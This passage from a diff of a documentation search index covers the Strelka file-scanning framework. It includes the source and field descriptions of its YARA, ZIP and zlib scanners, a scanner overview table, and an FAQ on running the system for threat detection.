self.event[\"tags\"].extend(match.tags)\n\n # Extract hex representation if configured to store offsets.\n if self.store_offset and self.offset_meta_key:\n if match.meta.get(self.offset_meta_key):\n for string_data in match.strings:\n for instance in string_data.instances:\n offset = instance.offset\n matched_string = instance.matched_data\n self.extract_match_hex(\n match.rule,\n offset,\n matched_string,\n data,\n self.offset_padding,\n )\n\n # Append meta information if configured to do so\n if self.show_all_meta:\n for k, v in match.meta.items():\n self.event[\"meta\"].append(\n {\"rule\": match.rule, \"identifier\": k, \"value\": v}\n )\n\n # De-duplicate tags.\n self.event[\"tags\"] = list(set(self.event[\"tags\"]))\n\n def load_yara_rules(self, options):\n \"\"\"Loads YARA rules based on the provided path.\n\n Args:\n options (dict): Configuration options specifying the\n location of YARA rules.\n\n Loads a compiled YARA ruleset or compiles YARA rules either\n from a specified file or from a directory. If there's an issue\n with compilation, flags are set to indicate any\n compilation / loading errors.\n \"\"\"\n # Retrieve location of YARA rules.\n location = options.get(\"location\", \"/etc/strelka/yara/\")\n compiled = options.get(\"compiled\", {\"enabled\": False})\n\n try:\n # Load compiled YARA rules from a file.\n if compiled.get(\"enabled\", False):\n self.compiled_yara = yara.load(\n os.path.join(location, compiled.get(\"filename\", \"rules.compiled\"))\n )\n except yara.Error as e:\n self.flags.append(f\"compiled_load_error_{e}\")\n self.warn_user = True\n\n try:\n # Compile YARA rules from a directory.\n if not self.compiled_yara:\n if os.path.isdir(location):\n globbed_yara_paths = glob.iglob(\n f\"{location}/**/*.yar*\", recursive=True\n )\n if not globbed_yara_paths:\n self.flags.append(\"yara_rules_not_found\")\n yara_filepaths = {\n f\"namespace_{i}\": entry\n for (i, entry) in enumerate(globbed_yara_paths)\n }\n self.compiled_yara = yara.compile(filepaths=yara_filepaths)\n # Compile YARA rules from a single file.\n elif os.path.isfile(location):\n self.compiled_yara = yara.compile(filepath=location)\n else:\n self.flags.append(\"yara_location_not_found\")\n self.warn_user = True\n self.warn_message = \"YARA Location Not Found\"\n\n except yara.SyntaxError as e:\n self.flags.append(f\"compiling_error_syntax_{e}\")\n self.warn_user = True\n self.warn_message = str(e)\n\n except yara.Error as e:\n self.flags.append(f\"compiling_error_general_{e}\")\n self.warn_user = True\n self.warn_message = str(e)\n\n # Set the total rules loaded.\n if self.compiled_yara:\n self.rules_loaded = len(list(self.compiled_yara))\n\n if not self.compiled_yara:\n if not self.warned_user and self.warn_user:\n logging.warning(\n \"\\n\"\n \"*************************************************\\n\"\n \"* WARNING: YARA File Loading Issue Detected *\\n\"\n \"*************************************************\\n\"\n \"There was an issue loading the compiled YARA file. Please check that all YARA rules can be\\n\"\n \"successfully compiled. Additionally, verify the 'ScanYara' configuration in Backend.yaml to\\n\"\n \"ensure the targeted path is correct. This issue needs to be resolved for proper scanning\\n\"\n \"functionality.\\n\"\n \"\\n\"\n f\"Error: {self.warn_message}\\n\"\n \"*************************************************\\n\"\n )\n self.warned_user = True\n\n def extract_match_hex(self, rule, offset, matched_string, data, offset_padding=32):\n \"\"\"\n Extracts a hex dump of a matched string in the data, with padding.\n\n This function retrieves a hex dump of the specified matched string within\n the data. It also provides additional context around the matched string\n by adding padding before and after the match. The total padding (i.e., the\n sum of before and after) is defined by the `offset_padding` parameter, which\n is split evenly on either side of the matched string. If the padding would\n go beyond the start or end of the data, it's adjusted to fit within the data's\n bounds.\n\n Args:\n - rule (str): Name of the YARA rule that triggered the match.\n - offset (int): Start offset of the matched string in the data.\n - matched_string (str): The actual string in the data that matched the YARA rule.\n - data (bytes): The file data being scanned.\n - offset_padding (int, optional): Total number of bytes to include as padding\n around the matched string in the hex dump. Defaults to 32.\n\n Returns:\n - Appends a dictionary containing the rule name and hex dump to self.event[\"hex\"].\n \"\"\"\n\n # Calculate half of the total padding to distribute evenly on either side of the match.\n # This is to add context to the match. It's recommended to keep this low (16 bytes)\n half_padding = offset_padding // 2\n\n # Determine the starting and ending offsets for the hex dump, ensuring we stay within data bounds.\n start_offset = max(offset - half_padding, 0)\n end_offset = min(offset + len(matched_string) + half_padding, len(data))\n\n # Create a list to store the hex representation lines\n hex_lines = []\n\n # Loop through the specified data range in 16-byte chunks to generate the hex dump\n for i in range(start_offset, end_offset, 16):\n # If this chunk hasn't been processed before, generate its hex and ASCII representations\n if i not in self.hex_dump_cache:\n chunk = data[i : i + 16]\n\n # Convert each byte in the chunk to its hexadecimal representation and join them with spaces.\n # E.g., a chunk [65, 66, 67] would become the string \"41 42 43\"\n hex_values = \" \".join([f\"{byte:02x}\" for byte in chunk])\n\n # Generate an ASCII representation for each byte in the chunk:\n # - Use the character itself if it's a printable ASCII character (between 32 and 126 inclusive).\n # - Replace non-printable characters with a period ('.').\n # E.g., a chunk [65, 66, 0] would become the string \"AB.\"\n ascii_values = \"\".join(\n [chr(byte) if 32 <= byte <= 126 else \".\" for byte in chunk]\n )\n\n # Cache the generated hex and ASCII values to avoid redundant computation in the future\n self.hex_dump_cache[i] = (hex_values, ascii_values)\n else:\n hex_values, ascii_values = self.hex_dump_cache[i]\n\n # Generate a formatted string for this chunk and add to our hex_lines list\n hex_lines.append(f\"{i:08x} {hex_values:<47} {ascii_values}\")\n\n # Append the generated hex dump and rule information to the event\n self.event[\"hex\"].append({\"rule\": rule, \"dump\": hex_lines})\ninit()","text":"Initializes the ScanYara class.
Sets up the initial state for the scanner by ensuring that the compiled YARA rules are not set.
Source code instrelka/src/python/strelka/scanners/scan_yara.py def init(self):\n \"\"\"Initializes the ScanYara class.\n\n Sets up the initial state for the scanner by ensuring that\n the compiled YARA rules are not set.\n \"\"\"\n self.compiled_yara = None\n self.loaded_configs = False\n self.rules_loaded = 0\n\n self.warn_user = False\n self.warned_user = False\n self.warn_message = \"\"\nscan(data, file, options, expire_at)","text":"Scans the provided data with YARA rules.
Parameters:
Name Type Description Defaultdata bytes The data to scan.
requiredfile File An object representing the file being scanned.
requiredoptions dict Configuration options for the scan.
requiredexpire_at int Expiration time for the scan.
requiredPopulates self.event with matches, tags, meta, and hex data based on YARA rule matches.
Source code instrelka/src/python/strelka/scanners/scan_yara.py def scan(self, data, file, options, expire_at):\n \"\"\"Scans the provided data with YARA rules.\n\n Args:\n data (bytes): The data to scan.\n file (File): An object representing the file being scanned.\n options (dict): Configuration options for the scan.\n expire_at (int): Expiration time for the scan.\n\n Populates self.event with matches, tags, meta, and hex data\n based on YARA rule matches.\n \"\"\"\n # Load YARA rules if not already loaded.\n # This prevents loading YARA rules on every execution.\n if not self.compiled_yara:\n self.load_yara_rules(options)\n if not self.compiled_yara:\n self.flags.append(\"no_rules_loaded\")\n\n # Set the total rules loaded\n self.event[\"rules_loaded\"] = self.rules_loaded\n\n # Load YARA configuration options only once.\n # This prevents loading the configs on every execution.\n if not self.loaded_configs:\n self.categories = options.get(\"categories\", {})\n self.category_key = options.get(\"category_key\", \"\")\n self.meta_fields = options.get(\"meta_fields\", [])\n self.show_all_meta = options.get(\"show_all_meta\", False)\n self.store_offset = options.get(\"store_offset\", False)\n self.offset_meta_key = options.get(\"offset_meta_key\", \"\")\n self.offset_padding = options.get(\"offset_padding\", 32)\n self.loaded_configs = True\n\n # Initialize the event data structure.\n self.hex_dump_cache = {}\n self.event[\"matches\"] = []\n self.event[\"tags\"] = []\n self.event[\"meta\"] = []\n self.event[\"hex\"] = []\n\n # Match the data against the YARA rules.\n if self.compiled_yara:\n yara_matches = self.compiled_yara.match(data=data)\n for match in yara_matches:\n # add the rule and ruleset name to the category meta\n rule = {\n \"name\": match.rule,\n \"ruleset\": match.namespace,\n }\n # include meta if its in the meta_fields list\n for k, v in match.meta.items():\n if k.lower() in self.meta_fields:\n rule.update({k.lower(): v})\n for category, params in self.categories.items():\n if not self.event.get(category):\n self.event[category] = []\n # check if the category matches the category_key\n if category in match.meta.get(self.category_key, \"\").lower():\n # show meta for specific category if enabled\n if params.get(\"show_meta\", False):\n self.event[category].append(rule)\n else:\n self.event[category].append(match.rule)\n # show meta for specific tag if present\n # if category in list(map(str.lower, match.tags)):\n # self.event[category].append(rule)\n\n # Append rule matches and update tags.\n self.event[\"matches\"].append(match.rule)\n self.event[\"tags\"].extend(match.tags)\n\n # Extract hex representation if configured to store offsets.\n if self.store_offset and self.offset_meta_key:\n if match.meta.get(self.offset_meta_key):\n for string_data in match.strings:\n for instance in string_data.instances:\n offset = instance.offset\n matched_string = instance.matched_data\n self.extract_match_hex(\n match.rule,\n offset,\n matched_string,\n data,\n self.offset_padding,\n )\n\n # Append meta information if configured to do so\n if self.show_all_meta:\n for k, v in match.meta.items():\n self.event[\"meta\"].append(\n {\"rule\": match.rule, \"identifier\": k, \"value\": v}\n )\n\n # De-duplicate tags.\n self.event[\"tags\"] = list(set(self.event[\"tags\"]))\nload_yara_rules(options)","text":"Loads YARA rules based on the provided path.
Parameters:
Name Type Description Defaultoptions dict Configuration options specifying the
requiredLoads a compiled YARA ruleset or compiles YARA rules either from a specified file or from a directory. If there's an issue with compilation, flags are set to indicate any compilation / loading errors.
Source code instrelka/src/python/strelka/scanners/scan_yara.py def load_yara_rules(self, options):\n \"\"\"Loads YARA rules based on the provided path.\n\n Args:\n options (dict): Configuration options specifying the\n location of YARA rules.\n\n Loads a compiled YARA ruleset or compiles YARA rules either\n from a specified file or from a directory. If there's an issue\n with compilation, flags are set to indicate any\n compilation / loading errors.\n \"\"\"\n # Retrieve location of YARA rules.\n location = options.get(\"location\", \"/etc/strelka/yara/\")\n compiled = options.get(\"compiled\", {\"enabled\": False})\n\n try:\n # Load compiled YARA rules from a file.\n if compiled.get(\"enabled\", False):\n self.compiled_yara = yara.load(\n os.path.join(location, compiled.get(\"filename\", \"rules.compiled\"))\n )\n except yara.Error as e:\n self.flags.append(f\"compiled_load_error_{e}\")\n self.warn_user = True\n\n try:\n # Compile YARA rules from a directory.\n if not self.compiled_yara:\n if os.path.isdir(location):\n globbed_yara_paths = glob.iglob(\n f\"{location}/**/*.yar*\", recursive=True\n )\n if not globbed_yara_paths:\n self.flags.append(\"yara_rules_not_found\")\n yara_filepaths = {\n f\"namespace_{i}\": entry\n for (i, entry) in enumerate(globbed_yara_paths)\n }\n self.compiled_yara = yara.compile(filepaths=yara_filepaths)\n # Compile YARA rules from a single file.\n elif os.path.isfile(location):\n self.compiled_yara = yara.compile(filepath=location)\n else:\n self.flags.append(\"yara_location_not_found\")\n self.warn_user = True\n self.warn_message = \"YARA Location Not Found\"\n\n except yara.SyntaxError as e:\n self.flags.append(f\"compiling_error_syntax_{e}\")\n self.warn_user = True\n self.warn_message = str(e)\n\n except yara.Error as e:\n self.flags.append(f\"compiling_error_general_{e}\")\n self.warn_user = True\n self.warn_message = str(e)\n\n # Set the total rules loaded.\n if self.compiled_yara:\n self.rules_loaded = len(list(self.compiled_yara))\n\n if not self.compiled_yara:\n if not self.warned_user and self.warn_user:\n logging.warning(\n \"\\n\"\n \"*************************************************\\n\"\n \"* WARNING: YARA File Loading Issue Detected *\\n\"\n \"*************************************************\\n\"\n \"There was an issue loading the compiled YARA file. Please check that all YARA rules can be\\n\"\n \"successfully compiled. Additionally, verify the 'ScanYara' configuration in Backend.yaml to\\n\"\n \"ensure the targeted path is correct. This issue needs to be resolved for proper scanning\\n\"\n \"functionality.\\n\"\n \"\\n\"\n f\"Error: {self.warn_message}\\n\"\n \"*************************************************\\n\"\n )\n self.warned_user = True\nextract_match_hex(rule, offset, matched_string, data, offset_padding=32)","text":"Extracts a hex dump of a matched string in the data, with padding.
This function retrieves a hex dump of the specified matched string within the data. It also provides additional context around the matched string by adding padding before and after the match. The total padding (i.e., the sum of before and after) is defined by the offset_padding parameter, which is split evenly on either side of the matched string. If the padding would go beyond the start or end of the data, it's adjusted to fit within the data's bounds.
Args: - rule (str): Name of the YARA rule that triggered the match. - offset (int): Start offset of the matched string in the data. - matched_string (str): The actual string in the data that matched the YARA rule. - data (bytes): The file data being scanned. - offset_padding (int, optional): Total number of bytes to include as padding around the matched string in the hex dump. Defaults to 32.
Returns: - Appends a dictionary containing the rule name and hex dump to self.event[\"hex\"].
Source code instrelka/src/python/strelka/scanners/scan_yara.py def extract_match_hex(self, rule, offset, matched_string, data, offset_padding=32):\n \"\"\"\n Extracts a hex dump of a matched string in the data, with padding.\n\n This function retrieves a hex dump of the specified matched string within\n the data. It also provides additional context around the matched string\n by adding padding before and after the match. The total padding (i.e., the\n sum of before and after) is defined by the `offset_padding` parameter, which\n is split evenly on either side of the matched string. If the padding would\n go beyond the start or end of the data, it's adjusted to fit within the data's\n bounds.\n\n Args:\n - rule (str): Name of the YARA rule that triggered the match.\n - offset (int): Start offset of the matched string in the data.\n - matched_string (str): The actual string in the data that matched the YARA rule.\n - data (bytes): The file data being scanned.\n - offset_padding (int, optional): Total number of bytes to include as padding\n around the matched string in the hex dump. Defaults to 32.\n\n Returns:\n - Appends a dictionary containing the rule name and hex dump to self.event[\"hex\"].\n \"\"\"\n\n # Calculate half of the total padding to distribute evenly on either side of the match.\n # This is to add context to the match. It's recommended to keep this low (16 bytes)\n half_padding = offset_padding // 2\n\n # Determine the starting and ending offsets for the hex dump, ensuring we stay within data bounds.\n start_offset = max(offset - half_padding, 0)\n end_offset = min(offset + len(matched_string) + half_padding, len(data))\n\n # Create a list to store the hex representation lines\n hex_lines = []\n\n # Loop through the specified data range in 16-byte chunks to generate the hex dump\n for i in range(start_offset, end_offset, 16):\n # If this chunk hasn't been processed before, generate its hex and ASCII representations\n if i not in self.hex_dump_cache:\n chunk = data[i : i + 16]\n\n # Convert each byte in the chunk to its hexadecimal representation and join them with spaces.\n # E.g., a chunk [65, 66, 67] would become the string \"41 42 43\"\n hex_values = \" \".join([f\"{byte:02x}\" for byte in chunk])\n\n # Generate an ASCII representation for each byte in the chunk:\n # - Use the character itself if it's a printable ASCII character (between 32 and 126 inclusive).\n # - Replace non-printable characters with a period ('.').\n # E.g., a chunk [65, 66, 0] would become the string \"AB.\"\n ascii_values = \"\".join(\n [chr(byte) if 32 <= byte <= 126 else \".\" for byte in chunk]\n )\n\n # Cache the generated hex and ASCII values to avoid redundant computation in the future\n self.hex_dump_cache[i] = (hex_values, ascii_values)\n else:\n hex_values, ascii_values = self.hex_dump_cache[i]\n\n # Generate a formatted string for this chunk and add to our hex_lines list\n hex_lines.append(f\"{i:08x} {hex_values:<47} {ascii_values}\")\n\n # Append the generated hex dump and rule information to the event\n self.event[\"hex\"].append({\"rule\": rule, \"dump\": hex_lines})\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanYara.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude*"},{"location":"Scanners/ScanYara.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecollection list detection list detection.author str detection.name str detection.ruleset str elapsed str flags list hex list information list matches list meta list meta str meta.identifier str meta.rule str meta.value str meta.value bool rules_loaded int tags list"},{"location":"Scanners/ScanYara.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"hex\": [],\n \"matches\": [\"test\", \"hex_extraction_test\", \"meta_test\"],\n \"meta\": 0.001,\n \"rules_loaded\": 3,\n \"tags\": [],\n }\nExtracts files from ZIP archives.
Attributes:
Name Type Descriptionpasswords List of passwords to use when bruteforcing encrypted files.
Optionslimit: Maximum number of files to extract. Defaults to 1000. password_file: Location of passwords file for zip archives. Defaults to /etc/strelka/passwords.dat.
Source code instrelka/src/python/strelka/scanners/scan_zip.py class ScanZip(strelka.Scanner):\n \"\"\"Extracts files from ZIP archives.\n\n Attributes:\n passwords: List of passwords to use when bruteforcing encrypted files.\n\n Options:\n limit: Maximum number of files to extract.\n Defaults to 1000.\n password_file: Location of passwords file for zip archives.\n Defaults to /etc/strelka/passwords.dat.\n \"\"\"\n\n def init(self):\n self.passwords = []\n\n def scan(self, data, file, options, expire_at):\n file_limit = options.get(\"limit\", 100)\n size_limit = options.get(\"size_limit\", 250000000)\n limit_metadata = options.get(\"limit_metadata\", True)\n crack_pws = options.get(\"crack_pws\", False)\n log_pws = options.get(\"log_pws\", True)\n password_file = options.get(\"password_file\", \"/etc/strelka/passwords.dat\")\n\n # Gather count and list of files to be extracted\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n self.event[\"files\"] = []\n\n # Temporary top level compression metrics\n compress_size_total = 0\n file_size_total = 0\n\n if crack_pws:\n if not self.passwords:\n if os.path.isfile(password_file):\n with open(password_file, \"rb\") as f:\n for line in f:\n self.passwords.append(line.strip())\n\n if (\n len(self.passwords) == 0\n and \"no_passwords_loaded\" not in self.flags\n ):\n self.flags.append(\"no_passwords_loaded\")\n else:\n if \"password_file_missing\" not in self.flags:\n self.flags.append(\"password_file_missing\")\n\n self.passwords.insert(0, None)\n\n with io.BytesIO(data) as zip_io:\n try:\n with pyzipper.AESZipFile(zip_io) as zip_obj:\n filelist = zip_obj.filelist\n\n # Count the file entries, in case the function encounters an unhandled exception\n for compressed_file in filelist:\n if compressed_file.is_dir():\n continue\n self.event[\"total\"][\"files\"] += 1\n\n # For each file in zip, gather metadata and pass extracted file back to Strelka\n for compressed_file in filelist:\n if compressed_file.is_dir():\n continue\n\n extract = True\n extracted = False\n compression_rate = 0\n\n if compressed_file.file_size > size_limit:\n extract = False\n if \"file_size_limit\" not in self.flags:\n self.flags.append(\"file_size_limit\")\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n extract = False\n if \"file_count_limit\" not in self.flags:\n self.flags.append(\"file_count_limit\")\n\n if (\n compressed_file.file_size > 0\n and compressed_file.compress_size > 0\n ):\n compress_size_total += compressed_file.compress_size\n file_size_total += compressed_file.file_size\n\n size_difference = (\n compressed_file.file_size\n - compressed_file.compress_size\n )\n compression_rate = (\n size_difference * 100.0\n ) / compressed_file.file_size\n\n try:\n extract_data = b\"\"\n zinfo = zip_obj.getinfo(compressed_file.filename)\n\n if zinfo.flag_bits & 0x1:\n if \"encrypted\" not in self.flags:\n self.flags.append(\"encrypted\")\n\n for password in self.passwords:\n try:\n if extract:\n extract_data = zip_obj.read(\n compressed_file.filename, password\n )\n if extract_data:\n self.passwords.insert(\n 0,\n self.passwords.pop(\n self.passwords.index(password)\n ),\n )\n if password and crack_pws and log_pws:\n if \"password\" not in self.event.keys():\n self.event[\"password\"] = []\n if password.decode(\n \"utf-8\"\n ) not in self.event.get(\"password\", []):\n self.event[\"password\"].append(\n password.decode(\"utf-8\")\n )\n break\n except RuntimeError:\n pass\n\n # If there's data in it, and no limits have been met, emit the file\n if extract_data and extract:\n # Send extracted file back to Strelka\n self.emit_file(\n extract_data, name=compressed_file.filename\n )\n extracted = True\n\n if not (\n limit_metadata\n and self.event[\"total\"][\"extracted\"] >= file_limit\n ):\n self.event[\"files\"].append(\n {\n \"file_name\": compressed_file.filename,\n \"file_size\": compressed_file.file_size,\n \"compression_size\": compressed_file.compress_size,\n \"compression_rate\": round(compression_rate, 2),\n \"extracted\": extracted,\n \"encrypted\": (\n True\n if zinfo.flag_bits & 0x1 == 1\n else False\n ),\n }\n )\n\n if extracted:\n self.event[\"total\"][\"extracted\"] += 1\n\n except NotImplementedError:\n self.flags.append(\"unsupported_compression\")\n except RuntimeError:\n self.flags.append(\"runtime_error\")\n except ValueError:\n self.flags.append(\"value_error\")\n except zlib.error:\n self.flags.append(\"zlib_error\")\n except pyzipper.BadZipFile:\n self.flags.append(\"bad_zip_file\")\n\n # Top level compression metric\n if file_size_total > 0 and compress_size_total > 0:\n size_difference_total = (\n file_size_total - compress_size_total\n )\n self.event[\"compression_rate\"] = round(\n (size_difference_total * 100.0) / file_size_total, 2\n )\n else:\n self.event[\"compression_rate\"] = 0.00\n\n except pyzipper.BadZipFile:\n self.flags.append(\"bad_zip_file\")\n except ValueError:\n self.flags.append(\"value_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanZip.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/java-archive application/vnd.openxmlformats-officedocument.presentationml.presentation application/vnd.openxmlformats-officedocument.spreadsheetml.sheet application/vnd.openxmlformats-officedocument.wordprocessingml.document application/vnd.openxmlformats-officedocument application/zip ooxml_file zip_file"},{"location":"Scanners/ScanZip.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecompression_rate float elapsed str files list files.compression_rate float files.compression_rate int files.compression_size int files.encrypted bool files.extracted bool files.file_name str files.file_size int flags list password list total dict total.extracted int total.files int"},{"location":"Scanners/ScanZip.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"files\": 4, \"extracted\": 4},\n \"files\": [\n {\n \"file_name\": \"hidden/lorem-hidden.txt\",\n \"file_size\": 4015,\n \"compression_size\": 1425,\n \"compression_rate\": 64.51,\n \"extracted\": True,\n \"encrypted\": False,\n },\n {\n \"file_name\": \"hidden/lorem-readonly.txt\",\n \"file_size\": 4015,\n \"compression_size\": 1425,\n \"compression_rate\": 64.51,\n \"extracted\": True,\n \"encrypted\": False,\n },\n {\n \"file_name\": \"hidden/lorem.txt\",\n \"file_size\": 4015,\n \"compression_size\": 1425,\n \"compression_rate\": 64.51,\n \"extracted\": True,\n \"encrypted\": False,\n },\n {\n \"file_name\": \"lorem.txt\",\n \"file_size\": 4015,\n \"compression_size\": 1425,\n \"compression_rate\": 64.51,\n \"extracted\": True,\n \"encrypted\": False,\n },\n ],\n \"compression_rate\": 64.51,\n }\nDecompresses zlib files.
Source code instrelka/src/python/strelka/scanners/scan_zlib.py class ScanZlib(strelka.Scanner):\n \"\"\"Decompresses zlib files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n try:\n # Decompress file and collect metadata\n decompressed = zlib.decompress(data)\n self.event[\"size\"] = len(decompressed)\n\n # Send extracted file back to Strelka\n self.emit_file(decompressed, name=file.name)\n except zlib.error:\n self.flags.append(\n f\"{self.__class__.__name__} Exception: Invalid compression or decompression data.\"\n )\n return\n except Exception as e:\n self.flags.append(f\"{self.__class__.__name__} Exception: {str(e)[:50]}\")\n return\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanZlib.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/zlib zlib_file"},{"location":"Scanners/ScanZlib.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanZlib.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner zlib
"},{"location":"Scanners/ScannerOverview.html","title":"Strelka Scanner Overview","text":"Strelka is a scalable file analysis framework that allows for the rapid analysis of files through a distributed system of scanners. Each scanner within Strelka has a specific role, ranging from extracting simple file metadata to executing complex detections and analyses. This overview provides insights into the capabilities and functionalities of each scanner within the Strelka ecosystem.
"},{"location":"Scanners/ScannerOverview.html#deployed-scanners","title":"Deployed Scanners","text":"Scanner Name IOC Support Image Thumbnails File Emission Tests Created Malware Scanner Extended Docs ScanBatch ScanBmpEof ScanBzip2 ScanDmg ScanDocx ScanDonut ScanEmail ScanEncryptedDoc ScanEncryptedZip ScanEntropy ScanExiftool ScanFooter ScanGif ScanGzip ScanHash ScanHeader ScanHtml ScanIqy ScanIso ScanJarManifest ScanJavascript ScanJnlp ScanJpeg ScanJson ScanLibarchive ScanLnk ScanLsb ScanLzma ScanMacho ScanManifest ScanMsi ScanOcr ScanOle ScanOnenote ScanPcap ScanPdf ScanPe ScanPgp ScanPhp ScanPkcs7 ScanPlist ScanPngEof ScanQr ScanRar ScanRpm ScanRtf ScanSevenZip ScanSwf ScanTar ScanTlsh ScanTnef ScanTranscode ScanUdf ScanUpx ScanUrl ScanVb ScanVba ScanVhd ScanVsto ScanX509 ScanXl4ma ScanXml ScanYara ScanZip ScanZlib"},{"location":"Scanners/ScannerOverview.html#not-deployed-scanners","title":"Not Deployed Scanners","text":"Scanner Name IOC Support Image Thumbnails File Emission Tests Created Malware Scanner Extended Docs ScanAntiword ScanBase64 ScanBase64Pe ScanCcn ScanCuckoo ScanDelay ScanElf ScanException ScanFalconSandbox ScanIni ScanNf ScanSave ScanStrings"},{"location":"Strelka/StrelkaFaq.html","title":"FAQ","text":""},{"location":"Strelka/StrelkaFaq.html#frequently-asked-questions","title":"Frequently Asked Questions","text":""},{"location":"Strelka/StrelkaFaq.html#who-is-strelka","title":"\"Who is Strelka?\"","text":"Strelka is one of the second generation Soviet space dogs to achieve orbital spaceflight -- the name is an homage to Lockheed Martin's Laika BOSS, one of the first public projects of this type and from which Strelka's core design is based.
"},{"location":"Strelka/StrelkaFaq.html#why-would-i-want-a-file-scanning-system","title":"\"Why would I want a file scanning system?\"","text":"File metadata is an additional pillar of data (alongside network, endpoint, authentication, and cloud) that is effective in enabling threat hunting, threat detection, and incident response and can help event analysts and incident responders bridge visibility gaps in their environment. This type of system is especially useful for identifying threat actors during KC3 and KC7. For examples of what Strelka can do, please read the use cases.
"},{"location":"Strelka/StrelkaFaq.html#should-i-switch-from-my-current-file-scanning-system-to-strelka","title":"\"Should I switch from my current file scanning system to Strelka?\"","text":"It depends -- we recommend reviewing the features of each and choosing the most appropriate tool for your needs. We believe the most significant motivating factors for switching to Strelka are: * More scanners (40+ at release) and file types (60+ at release) than related projects * Modern codebase (Go and Python 3.9+) * Server components run in containers for ease and flexibility of deployment * Performant, OS-native client applications compatible with Windows, Mac, and Linux * OS-native client applications for Windows, Mac, and Linux * Built using libraries and formats that allow cross-platform, cross-language support
"},{"location":"Strelka/StrelkaFaq.html#are-strelkas-scanners-compatible-with-laika-boss-file-scanning-framework-or-assemblyline","title":"\"Are Strelka's scanners compatible with Laika BOSS, File Scanning Framework, or Assemblyline?\"","text":"Due to differences in design, Strelka's scanners are not directly compatible with Laika BOSS, File Scanning Framework, or Assemblyline. With some effort, most scanners can likely be ported to the other projects.
"},{"location":"Strelka/StrelkaFaq.html#is-strelka-an-intrusion-detection-system-ids","title":"\"Is Strelka an intrusion detection system (IDS)?\"","text":"Strelka shouldn't be thought of as an IDS, but it can be used for threat detection through YARA rule matching and downstream metadata interpretation. Strelka's design follows the philosophy established by other popular metadata collection systems (Bro, Sysmon, Volatility, etc.): it extracts data and leaves the decision-making up to the user.
"},{"location":"Strelka/StrelkaFaq.html#does-it-work-at-scale","title":"\"Does it work at scale?\"","text":"Everyone has their own definition of \"at scale,\" but we have been using Strelka and systems like it to scan up to 250 million files each day for over a year and have never reached a point where the system could not scale to our needs -- as file volume and diversity increases, horizontally scaling the system should allow you to scan any number of files.
"},{"location":"Strelka/StrelkaFaq.html#doesnt-this-use-a-lot-of-bandwidth","title":"\"Doesn't this use a lot of bandwidth?\"","text":"Maybe! Strelka's client applications provide opportunities for users to use as much or as little bandwidth as they want.
"},{"location":"Strelka/StrelkaFaq.html#should-i-run-my-strelka-cluster-on-my-brosuricata-network-sensor","title":"\"Should I run my Strelka cluster on my Bro/Suricata network sensor?\"","text":"No! Strelka clusters run CPU-intensive processes that will negatively impact system-critical applications like Bro and Suricata. If you want to integrate a network sensor with Strelka, then use the [filestream] client application. This utility is capable of sending millions of files per day from a single network sensor to a Strelka cluster without impacting system-critical applications.
Please file an issue or contact the project team at TTS-CFC-OpenSource@target.com.
"},{"location":"Strelka/StrelkaUseCases.html","title":"Use Cases","text":""}]} \ No newline at end of file diff --git a/sitemap.xml b/sitemap.xml index 2d54c3d..11f92dc 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -2,437 +2,437 @@